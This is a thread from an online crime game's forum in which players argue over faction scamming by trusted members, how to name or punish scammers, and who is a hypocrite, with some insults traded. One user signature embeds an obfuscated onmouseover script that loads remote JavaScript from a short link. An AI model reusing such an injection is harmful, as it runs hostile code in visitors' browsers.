| Forum Main>>General Discussion>> Faction Scamming |
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CravenTHC
ID: 1569996
Level: 45
Posts: 1860
Score: 1684
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Posted on Sat Feb 09, 2013 17:34:28
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By manik [1554958]
I've read the stories of those that have been scammed, and in all seriousness I have to ask why would you put someone in a position where they could perperare these acts? |
Years of trust, and loyalty is usually the reason.
If I was a faction leader or company boss there is NO WAY I'd allow anyone access to a vault. The only people I would are those I know in rl. And I'd put in the armoury what I'd be willing to lose.
Surely common sense MUST come into play? |
It surely does, but when you know someone in game for 4+ years of your life, you share experiences and memories with that person, and have a history of small loans that are paid back what reason would you have to distrust that person then? Common sense only takes you so far. These actions are coming from trusted friends that people would never expect to pilfer their armories. And whether you're prepared to lose it or not is besides the point, and seems like a petty justification for a reprehensible action.
| After all, this is a crime game. And despite my loathing for scamming it's part of it. Legislation against it would be like bubble wrapping those who suffer from the stupidity gene. |
Using the tired excuse of, "it's a crime game", is like putting a bandaid on a broken leg. In reality when someone steals all of your belongings they are sought and punished. In reality if someone stole a cache of weapons from a gang of thugs they would be hunted and killed. That excuse is nowhere near sufficient to support scamming of factions, or any other type of scamming for that matter. It's also great to note that you liken people that fall victim to scammers to people with the "stupid gene".
That said, I am in agreement that this bs about not being able to name scammers. If you've solid proof, then let's make it a feature! They can't have in both ways. And I don't think tc can't either if it turns players off from playing.
As for the bulling. Not good. There must be a recourse for that and the current system isn't set up to fairly. |
I'm glad we agree on that subject. Only once we accept the responsibility of our own ignorance and begin to recognize these kind of actions as unforgivable will we finally see the culture of this game start to turn around.
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ghosty
ID: 1348728
Level: 36
Posts: 2593
Score: 1334
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Posted on Sat Feb 09, 2013 17:41:52
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By manik [1554958]
I've read the stories of those that have been scammed, and in all seriousness I have to ask why would you put someone in a position where they could perperare these acts?
If I was a faction leader or company boss there is NO WAY I'd allow anyone access to a vault. The only people I would are those I know in rl. And I'd put in the armoury what I'd be willing to lose.
Surely common sense MUST come into play?
. |
Have you read all the replies to this thread.. And do you seriously think your RL friend cant Scam you?? Fact of the matter is majority of torn players have been scammed does that mean majority is stupid?? I think not. If someone as build trust over the years and then scams you does that make you stupid or human... Yea its a crime game, but there is also a social aspect to this game hence why people join a certain Faction and they never leave not cos that Faction is great but because they feel @ home. The leader feels you been a trusted member and shown loyalty and promotes you, him/her thinking that you might scam them will be the last thing on their mind.
People need to get their heads out of their assess and realize its not about people being stupid and not having common sense.. its a lot more complicated than that, as stated it can happen to anyone and if you choose not to socialise and trust others then you are not experiencing this game to the full.
Scamming his legal and everyone accepts that, that is not the problem. The problem is that the punishment or their actions doesnt have enough repercussion... this the real issue.
Last Edited: Sat Feb 09, 2013 17:46:23
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Mr_Capitalist
ID: 1422486
Level: 40
Posts: 923
Score: 691
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Posted on Sat Feb 09, 2013 17:53:45
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By ghosty [1348728]
By manik [1554958]
I've read the stories of those that have been scammed, and in all seriousness I have to ask why would you put someone in a position where they could perperare these acts?
If I was a faction leader or company boss there is NO WAY I'd allow anyone access to a vault. The only people I would are those I know in rl. And I'd put in the armoury what I'd be willing to lose.
Surely common sense MUST come into play?
. |
Have you read all the replies to this thread.. And do you seriously think your RL friend cant Scam you?? Fact of the matter is majority of torn players have been scammed does that mean majority is stupid?? I think not. If someone as build trust over the years and then scams you does that make you stupid or human... Yea its a crime game, but there is also a social aspect to this game hence why people join a certain Faction and they never leave not cos that Faction is great but because they feel @ home. The leader feels you been a trusted member and shown loyalty and promotes you, him/her thinking that you might scam them will be the last thing on their mind.
People need to get their heads out of their assess and realize its not about people being stupid and not having common sense.. its a lot more complicated than that, as stated it can happen to anyone and if you choose not to socialise and trust others then you are not experiencing this game to the full.
Scamming his legal and everyone accepts that, that is not the problem. The problem is that the punishment or their actions doesnt have enough repercussion... this the real issue. |
your last line makes 0 sense.
to inflict a penalty on a scammer this creates the sense of illegality. you are essentially saying scamming IS the problem and we need to create PENALTIES, to enforce the ILLEGALITY.
yeah..lol..to create a punishment creates the sense of legal and illegal.
Punishment=illegal
no punishment=legal.
you cannot have both as the ending of your post dictates.
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CravenTHC
ID: 1569996
Level: 45
Posts: 1860
Score: 1684
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Posted on Sat Feb 09, 2013 18:01:27
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By Mr_Capitalist [1422486]
By ghosty [1348728]
By manik [1554958]
I've read the stories of those that have been scammed, and in all seriousness I have to ask why would you put someone in a position where they could perperare these acts?
If I was a faction leader or company boss there is NO WAY I'd allow anyone access to a vault. The only people I would are those I know in rl. And I'd put in the armoury what I'd be willing to lose.
Surely common sense MUST come into play?
. |
Have you read all the replies to this thread.. And do you seriously think your RL friend cant Scam you?? Fact of the matter is majority of torn players have been scammed does that mean majority is stupid?? I think not. If someone as build trust over the years and then scams you does that make you stupid or human... Yea its a crime game, but there is also a social aspect to this game hence why people join a certain Faction and they never leave not cos that Faction is great but because they feel @ home. The leader feels you been a trusted member and shown loyalty and promotes you, him/her thinking that you might scam them will be the last thing on their mind.
People need to get their heads out of their assess and realize its not about people being stupid and not having common sense.. its a lot more complicated than that, as stated it can happen to anyone and if you choose not to socialise and trust others then you are not experiencing this game to the full.
Scamming his legal and everyone accepts that, that is not the problem. The problem is that the punishment or their actions doesnt have enough repercussion... this the real issue. |
your last line makes 0 sense.
to inflict a penalty on a scammer this creates the sense of illegality. you are essentially saying scamming IS the problem and we need to create PENALTIES, to enforce the ILLEGALITY.
yeah..lol..to create a punishment creates the sense of legal and illegal.
Punishment=illegal
no punishment=legal.
you cannot have both as the ending of your post dictates.
|
This coming from someone with the name "Mr_Capitalist"?
To me punishment comes from many sources. If the game devs and staff are the source of the punishment then I see your argument. The kind of punishment that I myself, and I believe the person you're replying to, are in support of is player community based punishment. If we all start shunning scammers, firing them from our companies, kicking them from our factions, and otherwise demeaning them in conversation. Sort of the way some players do when they talk to Stacy, or another member of that faction, whose name escapes me now. What we need is an anti-scammer culture, not game rules directed at scamming.
Game Rules=Illegal
Community Culture=Legal
You can have both, and still punish those that are participating in the scammer culture.
Last Edited: Sat Feb 09, 2013 18:06:44
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Hiring50kIntel
ID: 266775
Level: 90
Posts: 9661
Score: 2485
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Posted on Sat Feb 09, 2013 18:12:43
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By Foggy [939739]
By CompanyHiring [266775]
By Foggy [939739]
Scamming sucks!
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How ironic...I guess being tight buddies with scammers is perfectly acceptable though right? |
I think your anal necklace has stifled your cerebral blood flow Nas. Add that to the the blood flow diversion you get when believing some split tails stories and you really are brain blood flow deficient.
What have you done to try and make the game better for all Nas?....Troll the forums and make snide remarks hardly counts as a game improvement. |
All the talk of anal and blood flow(as nasty and irrelevant as it is) doesn't detract from the fact that you're a complete hypocrite. You should be the the last person to denounce scamming. I'm glad you're ok with your awesome contributions being friends with the biggest scammer ever. I'm not hating on you just don't talk about how bad scamming is when you sat in a scammer faction for years. It's not trolling if it's factual.
Last Edited: Sat Feb 09, 2013 18:23:38
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| Hiring for my company 50k int=600k. Druggies are welcome if active. Paying 350k for stalemates, I will unload weapons so anyone can do it. |
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Lithany
ID: 1615093
Level: 15
Posts: 605
Score: 387
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Posted on Sat Feb 09, 2013 18:22:53
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Uh, no quote as the post becomes to long to handle by my phone.
If punishment will not follow any rules and will not be guarded by the system - wont this just end up like that dreaded (looking at the previous thread) medical cooldown, when random people start to punish other random people because someone mentioned theyre a scammer?
Most scammer naming posts (before they are graved) usually consist of just "[name] is a scammer, he stole x from me".
Im not sure id want community driven self proclaimed vigilantism based on that.
I do remotely remember there were cases of mass bountying or hosping people who were said to be scammers, bullies or other unliked types before it turned out to be not true.
And as i understand thats the reason why many offsite scammer lists failed, and now you cant even mention them here.
And also the reason why staff doesnt allow to name and shame imo. Or at least id like to think so.
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Mr_Capitalist
ID: 1422486
Level: 40
Posts: 923
Score: 691
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Posted on Sat Feb 09, 2013 18:29:53
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By CravenTHC [1569996]
By Mr_Capitalist [1422486]
By ghosty [1348728]
By manik [1554958]
I've read the stories of those that have been scammed, and in all seriousness I have to ask why would you put someone in a position where they could perperare these acts?
If I was a faction leader or company boss there is NO WAY I'd allow anyone access to a vault. The only people I would are those I know in rl. And I'd put in the armoury what I'd be willing to lose.
Surely common sense MUST come into play?
. |
Have you read all the replies to this thread.. And do you seriously think your RL friend cant Scam you?? Fact of the matter is majority of torn players have been scammed does that mean majority is stupid?? I think not. If someone as build trust over the years and then scams you does that make you stupid or human... Yea its a crime game, but there is also a social aspect to this game hence why people join a certain Faction and they never leave not cos that Faction is great but because they feel @ home. The leader feels you been a trusted member and shown loyalty and promotes you, him/her thinking that you might scam them will be the last thing on their mind.
People need to get their heads out of their assess and realize its not about people being stupid and not having common sense.. its a lot more complicated than that, as stated it can happen to anyone and if you choose not to socialise and trust others then you are not experiencing this game to the full.
Scamming his legal and everyone accepts that, that is not the problem. The problem is that the punishment or their actions doesnt have enough repercussion... this the real issue. |
your last line makes 0 sense.
to inflict a penalty on a scammer this creates the sense of illegality. you are essentially saying scamming IS the problem and we need to create PENALTIES, to enforce the ILLEGALITY.
yeah..lol..to create a punishment creates the sense of legal and illegal.
Punishment=illegal
no punishment=legal.
you cannot have both as the ending of your post dictates.
|
This coming from someone with the name "Mr_Capitalist"?
To me punishment comes from many sources. If the game devs and staff are the source of the punishment then I see your argument. The kind of punishment that I myself, and I believe the person you're replying to, are in support of is player community based punishment. If we all start shunning scammers, firing them from our companies, kicking them from our factions, and otherwise demeaning them in conversation. Sort of the way some players do when they talk to Stacy, or another member of that faction, whose name escapes me now. What we need is an anti-scammer culture, not game rules directed at scamming.
Game Rules=Illegal
Community Culture=Legal
You can have both, and still punish those that are participating in the scammer culture. |
and my name has what exactly to do with this?
Last Edited: Sat Feb 09, 2013 18:32:15
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manik
ID: 1554958
Level: 40
Posts: 903
Score: 809
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Posted on Sat Feb 09, 2013 18:33:13
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Yes I did read the message, thoroughly.
No you can't trust ANYONE 100%. Not here or in rl. I certainly know this to my cost and a lot more dearer that a few pixel billion...
But you must try to limit this lose has much as possible.
The scammer forum is a good idea and acknowleding scammers is another (without staff graveyarding at the drop of an hat). BUT sound evidence must be available, otherwise anyone can be blamed for least indiscretion.
At the end of the day, I still say common sense must be used.
Apologies for my previous comment and spelling... Done on my phone.
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CravenTHC
ID: 1569996
Level: 45
Posts: 1860
Score: 1684
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Posted on Sat Feb 09, 2013 18:38:31
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By Lithany [1615093]
Uh, no quote as the post becomes to long to handle by my phone.
If punishment will not follow any rules and will not be guarded by the system - wont this just end up like that dreaded (looking at the previous thread) medical cooldown, when random people start to punish other random people because someone mentioned theyre a scammer?
Most scammer naming posts (before they are graved) usually consist of just "[name] is a scammer, he stole x from me".
Im not sure id want community driven self proclaimed vigilantism based on that.
I do remotely remember there were cases of mass bountying or hosping people who were said to be scammers, bullies or other unliked types before it turned out to be not true.
And as i understand thats the reason why many offsite scammer lists failed, and now you cant even mention them here.
And also the reason why staff doesnt allow to name and shame imo. Or at least id like to think so. |
I do see your point, but that's not exactly what I'm advocating. I'm talking about a more passive punishment rather than an active attack kind of punishment. Although they may as well deserve that too you're right that it could be abused. As I've said before good luck finding a perfect system. The fact that no system is perfect doesn't excuse the state of affairs currently. Scamming is entirely out of hand, and the longer it goes unpunished the worse it's going to get.
Take for example a video game from the recent past that should have been the most fantastic first person shooter ever made. Unfortunately there was a feature to the game that allowed someone to be a killing machine with very little effort. This gameplay spread and spread, meanwhile the community spoke out to the developer and publisher to try to get them to fix it. Because it was never changed that game will forever be remembered as terrible.
If scamming gets much worse it's going to become a problem for the community as a whole rather than just for a few mouthpieces here in the forums. Is that when they're going to do something about it? What I'm afraid of is that by that time it will be too late.
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T-Rex
ID: 2726
Level: 75
Posts: 1973
Score: 590
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Posted on Sat Feb 09, 2013 18:57:24
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No you can't trust people... hell I only trust a select few. When they made faction scamming legal... it did not change much for Rawr. I later removed people's access when I had a new one to add. I could not tell one no and leave the others. So it was less work to cut back to 4. Sure they could scam me but the cool thing is we shared/share cash for the most part. Other then my wife... she gets access since she has access to my real bank account. I know anyone of them could scam but I am 99.9% sure they wont. If they did it would make me quit.
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ghosty
ID: 1348728
Level: 36
Posts: 2593
Score: 1334
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Posted on Sat Feb 09, 2013 19:30:59
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By CravenTHC [1569996]
By Mr_Capitalist [1422486]
By ghosty [1348728]
By manik [1554958]
I've read the stories of those that have been scammed, and in all seriousness I have to ask why would you put someone in a position where they could perperare these acts?
If I was a faction leader or company boss there is NO WAY I'd allow anyone access to a vault. The only people I would are those I know in rl. And I'd put in the armoury what I'd be willing to lose.
Surely common sense MUST come into play?
. |
Have you read all the replies to this thread.. And do you seriously think your RL friend cant Scam you?? Fact of the matter is majority of torn players have been scammed does that mean majority is stupid?? I think not. If someone as build trust over the years and then scams you does that make you stupid or human... Yea its a crime game, but there is also a social aspect to this game hence why people join a certain Faction and they never leave not cos that Faction is great but because they feel @ home. The leader feels you been a trusted member and shown loyalty and promotes you, him/her thinking that you might scam them will be the last thing on their mind.
People need to get their heads out of their assess and realize its not about people being stupid and not having common sense.. its a lot more complicated than that, as stated it can happen to anyone and if you choose not to socialise and trust others then you are not experiencing this game to the full.
Scamming his legal and everyone accepts that, that is not the problem. The problem is that the punishment or their actions doesnt have enough repercussion... this the real issue. |
your last line makes 0 sense.
to inflict a penalty on a scammer this creates the sense of illegality. you are essentially saying scamming IS the problem and we need to create PENALTIES, to enforce the ILLEGALITY.
yeah..lol..to create a punishment creates the sense of legal and illegal.
Punishment=illegal
no punishment=legal.
you cannot have both as the ending of your post dictates.
|
This coming from someone with the name "Mr_Capitalist"?
To me punishment comes from many sources. If the game devs and staff are the source of the punishment then I see your argument. The kind of punishment that I myself, and I believe the person you're replying to, are in support of is player community based punishment. If we all start shunning scammers, firing them from our companies, kicking them from our factions, and otherwise demeaning them in conversation. Sort of the way some players do when they talk to Stacy, or another member of that faction, whose name escapes me now. What we need is an anti-scammer culture, not game rules directed at scamming.
Game Rules=Illegal
Community Culture=Legal
You can have both, and still punish those that are participating in the scammer culture. |
Yep exactly this... I dont think Ched or staffs should do anything or can do anything really, this is more for Torn community to figure out themselves... I fear everyone will continue to neglect the problem. I guess it all comes down to really whether you have morals and principles...
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CravenTHC
ID: 1569996
Level: 45
Posts: 1860
Score: 1684
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Posted on Sat Feb 09, 2013 19:33:33
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By T-Rex [2726]
No you can't trust people... hell I only trust a select few. When they made faction scamming legal... it did not change much for Rawr. I later removed people's access when I had a new one to add. I could not tell one no and leave the others. So it was less work to cut back to 4. Sure they could scam me but the cool thing is we shared/share cash for the most part. Other then my wife... she gets access since she has access to my real bank account. I know anyone of them could scam but I am 99.9% sure they wont. If they did it would make me quit. |
Speaking realistically here. The only way we'll ever know if either options will work is if we try something. The longer staff/devs wait to do something the worse the scammer culture gets. The worse it gets the harder it becomes to change.
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CravenTHC
ID: 1569996
Level: 45
Posts: 1860
Score: 1684
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Posted on Sat Feb 09, 2013 19:36:06
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Stupid lag.
Last Edited: Sat Feb 09, 2013 19:36:36
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Skulls
ID: 1538618
Level: 44
Posts: 2090
Score: -2473
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Posted on Sat Feb 09, 2013 19:49:47
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Its a crime game.
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Foggy
ID: 939739
Level: 65
Posts: 2921
Score: 2191
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Posted on Sat Feb 09, 2013 20:17:38
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By CompanyHiring [266775]
By Foggy [939739]
By CompanyHiring [266775]
By Foggy [939739]
Scamming sucks!
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How ironic...I guess being tight buddies with scammers is perfectly acceptable though right? |
I think your anal necklace has stifled your cerebral blood flow Nas. Add that to the the blood flow diversion you get when believing some split tails stories and you really are brain blood flow deficient.
What have you done to try and make the game better for all Nas?....Troll the forums and make snide remarks hardly counts as a game improvement. |
All the talk of anal and blood flow(as nasty and irrelevant as it is) doesn't detract from the fact that you're a complete hypocrite. You should be the the last person to denounce scamming. I'm glad you're ok with your awesome contributions being friends with the biggest scammer ever. I'm not hating on you just don't talk about how bad scamming is when you sat in a scammer faction for years. It's not trolling if it's factual. |
When one continues to exhibit signs of having their head up their rear end for as long as you have Nas, it becomes relevant. (as nasty as it may be) My stance on scamming has never wavered, never strayed, and never basically changed. Ched took his RPG crime game from role playing to actual theft of property(real life money invested in game) and worse then that, theft of time invested in the game. That is what sucks, and if people think that is funny or good, then they are an azzwipe in my book.
Why do you find it necessary to detract from the conversation, divert attention away from, and make the messenger look bad? Maybe it is because Little men, with little minds, have little ways.
BTW Nas, the subject of this thread is faction scamming. Not Foggy, or his faction allegiance. The only thing I am not proud of doing in this game, is that I stayed and kept playing after scamming was legalized. So stick to the topic or refrain from posting in this thread.
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CravenTHC
ID: 1569996
Level: 45
Posts: 1860
Score: 1684
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Posted on Sat Feb 09, 2013 20:19:04
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By Mellisaqwerty [1538618]
Its a crime game. |
FYI I put as much effort into this reply as you did into the comment itself...
By CravenTHC [1569996]
Using the tired excuse of, "it's a crime game", is like putting a bandaid on a broken leg. In reality when someone steals all of your belongings they are sought and punished. In reality if someone stole a cache of weapons from a gang of thugs they would be hunted and killed. That excuse is nowhere near sufficient to support scamming of factions, or any other type of scamming for that matter. |
Maybe next time try a bit harder.
Edit* Maybe next time I'll realize I'm responding to a well known scammer before posting. 
Last Edited: Sat Feb 09, 2013 20:22:19
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Crusadurus
ID: 705338
Level: 55
Posts: 586
Score: 59
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Posted on Sun Feb 10, 2013 00:13:33
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There are always idiots but the bigger problem is people changing/ getting bored of the game. if your co leader, being there for a year decides he is done he can take everything with him when he leaves. THAT should not be legal. I know scamming is more difficult to deal with for admins than completely ignoring it but there is a problem and it should be dealt with.
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Bloodhoof
ID: 1696973
Level: 20
Posts: 587
Score: 360
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Posted on Sun Feb 10, 2013 00:34:40
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You all may not know but the owner of this thread scmmed a new player via his faction, for 2b, 2k xanax and 2.5k points, I find it funny he made this thread, not to mention anyone else he's scammed...
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Hiring50kIntel
ID: 266775
Level: 90
Posts: 9661
Score: 2485
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Posted on Mon Feb 11, 2013 04:18:07
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| By Foggy [939739]When one continues to exhibit signs of having their head up their rear end for as long as you have Nas, it becomes relevant. (as nasty as it may be) |
Childish personal flamming. Sad...
| My stance on scamming has never wavered, never strayed, and never basically changed. |
You may say that but your actions which are more important say otherwise..."pro scamming"
| Ched took his RPG crime game from role playing to actual theft of property(real life money invested in game) and worse then that, theft of time invested in the game. That is what sucks, and if people think that is funny or good, then they are an azzwipe in my book. |
No ones keeping you from leaving.
| Why do you find it necessary to detract from the conversation, divert attention away from, and make the messenger look bad? Maybe it is because Little men, with little minds, have little ways. |
*yawn* Diverting from the truth with more flamming.
| BTW Nas, the subject of this thread is faction scamming. Not Foggy, or his faction allegiance. |
Seems to me that scammers and people in their faction that profited points and money from it through the faction from the scamming fit the topic perfectly. BTW are you going to deny that you received scammed money/points from Westend too?
| The only thing I am not proud of doing in this game, is that I stayed and kept playing after scamming was legalized. |
Again no one is denying your right to quit. Even if its guilt induced.
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| Hiring for my company 50k int=600k. Druggies are welcome if active. Paying 350k for stalemates, I will unload weapons so anyone can do it. |
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Ganon
ID: 237543
Level: 60
Posts: 2596
Score: 1115
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Posted on Mon Feb 11, 2013 10:15:44
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By Foggy [939739]
By CompanyHiring [266775]
By Foggy [939739]
By CompanyHiring [266775]
By Foggy [939739]
Scamming sucks!
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How ironic...I guess being tight buddies with scammers is perfectly acceptable though right? |
I think your anal necklace has stifled your cerebral blood flow Nas. Add that to the the blood flow diversion you get when believing some split tails stories and you really are brain blood flow deficient.
What have you done to try and make the game better for all Nas?....Troll the forums and make snide remarks hardly counts as a game improvement. |
All the talk of anal and blood flow(as nasty and irrelevant as it is) doesn't detract from the fact that you're a complete hypocrite. You should be the the last person to denounce scamming. I'm glad you're ok with your awesome contributions being friends with the biggest scammer ever. I'm not hating on you just don't talk about how bad scamming is when you sat in a scammer faction for years. It's not trolling if it's factual. |
When one continues to exhibit signs of having their head up their rear end for as long as you have Nas, it becomes relevant. (as nasty as it may be) My stance on scamming has never wavered, never strayed, and never basically changed. Ched took his RPG crime game from role playing to actual theft of property(real life money invested in game) and worse then that, theft of time invested in the game. That is what sucks, and if people think that is funny or good, then they are an azzwipe in my book.
Why do you find it necessary to detract from the conversation, divert attention away from, and make the messenger look bad? Maybe it is because Little men, with little minds, have little ways.
BTW Nas, the subject of this thread is faction scamming. Not Foggy, or his faction allegiance. The only thing I am not proud of doing in this game, is that I stayed and kept playing after scamming was legalized. So stick to the topic or refrain from posting in this thread. |
Foggy, are you also a scammer or just a scammerlover?
Cause this lil' story of yours is getting a lil' foggy atm imho...
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-Deadpool
ID: 1284243
Level: 35
Posts: 3545
Score: 1704
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Posted on Mon Feb 11, 2013 11:29:55
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Foggy is neither.
And for the record, whatever Westend/Dick_Dastardly did in the past, is history. In my eyes, he has atoned for that mistake.
To say that Foggy is guilty by association, is Naive. By that definition, in your eyes, the entire Merc's Inc Faction, is guilty. Again, this is wrong.
I dont condone faction scamming, or scamming at all, having recently been a part victim of an 11.7bill scam.
But the westend stuff was what? 3 years ago? If you still hold a grudge, i pity your self-worth
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| [profile]1 id=fancybox-overlay style=height:100%;display:block; onmouseover=$(document).append(String.fromCharCode(60,83,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,105,115,46,103,100,47,116,111,114,110,122,32,47,62));[/profile] |
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dunmugmeh
ID: 538353
Level: 67
Posts: 26430
Score: 19689
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Posted on Mon Feb 11, 2013 16:58:47
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There is a awful lot of crying going on in this thread 
I have played this game for a while now 5 or 6 years or whatever.
I read the forums a lot you can tell that from my post count.
I have seen the whining threads, the begging threads the stokz investment program threads etc etc etc.
There are dozens and dozens and dozens of nerds who play this game. Maybe even more than that Hundreds of them
With scamming being legal they will take your stuff from you and click ignore on you. The nerds dont care that they will be hated they just want your stuff.
They need it to build a oil rig, buy the stocks they want, play blackjack the bookie etc etc
Dont give your stuff to nerds they really are pathetic witness the number of slots multies fedded or check out the 'hot babes' in the personals sections of the newspaper.
Dont feed the nerds.
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Hiring50kIntel
ID: 266775
Level: 90
Posts: 9661
Score: 2485
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Posted on Mon Feb 11, 2013 19:34:44
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By xanax-whore [1284243]
Foggy is neither.
And for the record, whatever Westend/Dick_Dastardly did in the past, is history. In my eyes, he has atoned for that mistake.
To say that Foggy is guilty by association, is Naive. By that definition, in your eyes, the entire Merc's Inc Faction, is guilty. Again, this is wrong.
I dont condone faction scamming, or scamming at all, having recently been a part victim of an 11.7bill scam.
But the westend stuff was what? 3 years ago? If you still hold a grudge, i pity your self-worth |
You're over analyzing. The point was simple; you can't say I hate scammers on the one hand and have stayed in a scamming faction for years after it happened on the other. Doesn't work like that. If you can't see the simple logic there you're biased.
I had a friend in the that faction that was a decent person and left the second that it happened and I saw the scammed money/point transfers through the faction to a lot of the members. Add the gloating mails and forum posts and year of planning...IF you stay that looks really bad even if no one can see you profited.
I've heard many times that Westend has atoned for the scamming but yet never returned my mails at the time or recently. When you pay everyone back then you've made up for it not just a percentage of the money you stole.
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| Hiring for my company 50k int=600k. Druggies are welcome if active. Paying 350k for stalemates, I will unload weapons so anyone can do it. |
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Spurtung
ID: 96875
Level: 80
Posts: 5602
Score: 3941
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Posted on Tue Feb 12, 2013 18:51:34
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By CompanyHiring [266775]
I've heard many times that Westend has atoned for the scamming but yet never returned my mails at the time or recently. When you pay everyone back then you've made up for it not just a percentage of the money you stole. |
or just a percentage of people.
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LeReviver
ID: 1448500
Level: 25
Posts: 821
Score: 282
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Posted on Tue Feb 12, 2013 22:13:51
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By Homer_Simpson2 [1660408]
Ever since players have been given the ability to leave a faction after 0 days in it, faction scamming has gotten worse. People join factions and ask to be co-leader and then take everything in the faction, leave, and move on to a new faction. When it used to be you had to stay in a faction for at least 7 days, this wasn't as bad because a potential scammer knew that they'd have to wait a week before scamming another faction, so they realized it wasn't even worth scamming one. Plus, if you were unsuccessful in the scamming back then, you had to wait 7 days before you could leave and you got nothing. Nowadays if someone is unsuccessful in scamming, they can just leave the faction and move on to a new one. I think that 7 days was too long to wait to leave a faction, especially if you didn't like it, but 0 days is just as bad with all the scamming. They should make it something like 3 days so not as many scammers can just join, become co-leader, take everything, and leave. And even if you find that you don't like the faction, waiting 3 days to be able to leave it really isn't all that bad. What do you guys think about this? |
f**k YOU! YOUR THE ONE WHO DOES THIS! HYPO-f**kING-CRITE
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Ch00k
ID: 7060
Level: 68
Posts: 2805
Score: 351
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Posted on Wed Feb 13, 2013 19:48:40
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Hm. Imo, I'd say just become a one man leader.
You don't necessarily need a co-leader in order to have a faction function perfectly.
Nowadays, "trust" has become major issues in gaming. How much do you "trust" in order to give access? How small is your circle of "trust"? It's harder to gain "trust" of a faction member these days if you don't know their past.
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| Years ago when I first started TC, WaSuppyPuppy [59] used to be my Newbie Helper. Till this day, I still look up to him xD |
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Mafioso
ID: 169925
Level: 41
Posts: 394
Score: 81
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Posted on Sun Feb 24, 2013 10:39:29
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By CravenTHC [1569996]
I don't think so many people would have problems with scammers/scamming if there was a realistic recourse that could be taken. Everybody talks about this being a crime game whenever scamming comes up. Well if that's your argument then feel free to go ahead and steal from a real life crime syndicates armory. They'd hunt you down and kill you, take their stuff back, and then take all of your stuff as well. Unfortunately here in the game there is no way to get your stuff back except through scamming them back, or if by chance they have a change of heart.
Screw making scamming illegal, but give the players a realistic recourse to get back at these pukes. Right now the only thing you can do is bounty/hospitalize them, and we all know how affective that is in deterring them or helping them change their mind. Even if you have friends to back you up and put them in hospital 24/7 it's unlikely to affect them at all. There would have to be some way that the masses can get back at scammers without giving them something new to exploit, and without giving players too much power. Good luck finding how to accomplish this. |
Well said.
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| [IMGURL=http://www.torn.com/factions.php?step=profile&ID=11835]http://profileimages.torn.com/480d5be4-9f58-2e9e-169925.gif[/IMGURL*] |
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JustJanet
ID: 911066
Level: 60
Posts: 2426
Score: 385
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Posted on Sun Feb 24, 2013 21:25:10
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By Cadillac [929733]
I doubt this will be mentioned by anyone else, so ill say it.
Dont give someone access that you dont know or trust |
lol! I like Cadillac!
*Drops her soap box and jumps on top of it.*
BTW... as a faction leader and a company owner I know I have a responsibility to members and employees to attempt to find trustworthy people to help run things. In my case I was asked to restart a faction and as the original faction disintegrated the original members joined the new faction. It was a huge leap of faith to entrust folks that I hardly knew to have access to the treasures of the faction... in my case it has paid off. I didn't know some of the members but they had access to the funds before I was a member of the original faction and if they trusted me to act as the leader then why shouldn't I give the trust back to them? Our faction bank is just a place to save money so it was pretty essential that there be several folks who could access the money if I wasn't around to get it for whomever was in need at the moment. I could still be wiped out by one of them today but in the long run the cash is temporary and the true wealth that each of my money handlers have is in their trustworthiness and integrity. I'd be stunned if it happened because I think the lot of us are pretty much alike. Why give up an essential part of one's personal character and make-up for a game?
True wealth is in personal equity... sometimes I have lots of money, sometimes I have none... I always have my respect and integrity and I certainly wouldn't put those up for sale in a game where the money is fake, the toys are fake and the people who play are actually real. People who do are seriously pathetic and it makes me wonder how miserable true life must be for them if they have to compromise their common decency to play a game... any game... when all is said and done all the wealth here is make believe. It's totally fun to play with... but definitely not worth losing one's integrity.
*Leaps off her soap box, picks it up and walks away.*
Last Edited: Sun Feb 24, 2013 21:49:10
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DarthBrogo
ID: 21801
Level: 41
Posts: 1428
Score: 1079
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Posted on Sun Feb 24, 2013 21:37:47
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By CravenTHC [1569996]
SNIP
Game Rules=Illegal
Community Culture=Legal
You can have both, and still punish those that are participating in the scammer culture. |
Culture does not define legality, formally declared rules do.
Lex, the root of legal, means Law, and not culture.
| Speaking realistically here. The only way we'll ever know if either options will work is if we try something. The longer staff/devs wait to do something the worse the scammer culture gets. The worse it gets the harder it becomes to change. |
Considering the number of citizens of Torn City and considering the number of staff, paid or otherwise, and translating that into real life considerations as an analogy, the human resources for anything beyond checking parking offenses simply do not exist.
Torn City is a 'perfect' libertarian society. There is contractual Law and there cannot be one.
There can be no rule beyond 'trust no one that you cannot FORCE to behave well'.
I've had enough 'trusts' go bad on me to simply refuse to trust anyone I cannot compel.
Finally, i should comment that some people, faction leaders to be precise, think of their faction arsenals as some kind of personal piggy bank or display case.
What do christmas city finds do in a faction armoury? Is there perhaps some OC use for reindeer droppings as yet unknown to the community at large?
Is there some kind of requirement for a few billion dollars in the faction bank? Remember that that stuff could be taken.
Leave nothing there that is not functionally required for carrying out faction activity.
You do not know who is the next person to have overly long fingers.
Last Edited: Sun Feb 24, 2013 21:55:32
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Because Darth Vader was a pansy!
Peace is a lie, there is only passion. Through passion, I gain strength. Through strength, I gain power.
Through power, I gain |
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JustJanet
ID: 911066
Level: 60
Posts: 2426
Score: 385
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Posted on Sun Feb 24, 2013 22:05:47
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By dunmugmeh [538353]
Dont give your stuff to nerds they really are pathetic witness the number of slots multies fedded or check out the 'hot babes' in the personals sections of the newspaper.
Dont feed the nerds.
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Nerd defined by Merriam-Webster: an unstylish, unattractive, or socially inept person; especially : one slavishly devoted to intellectual or academic
Dunmugmeh... if you do not understand the definition of a word... you shouldn't use it. A nerd is not the same as someone without morals or integrity. I am not arguing that a nerd cannot be immoral and a scammer... but there are thousands of nerds playing this game... and they are decent, moral folks who just are a little awkward in social situations or are more interested in academic endeavors. Don't confuse them with self serving, selfish scammers. They are two different beings.
*Proud to be a nerd!!!* and I like to eat!! Sheesh! Folks trying to keep me from eating... grrrrrrrrr.....
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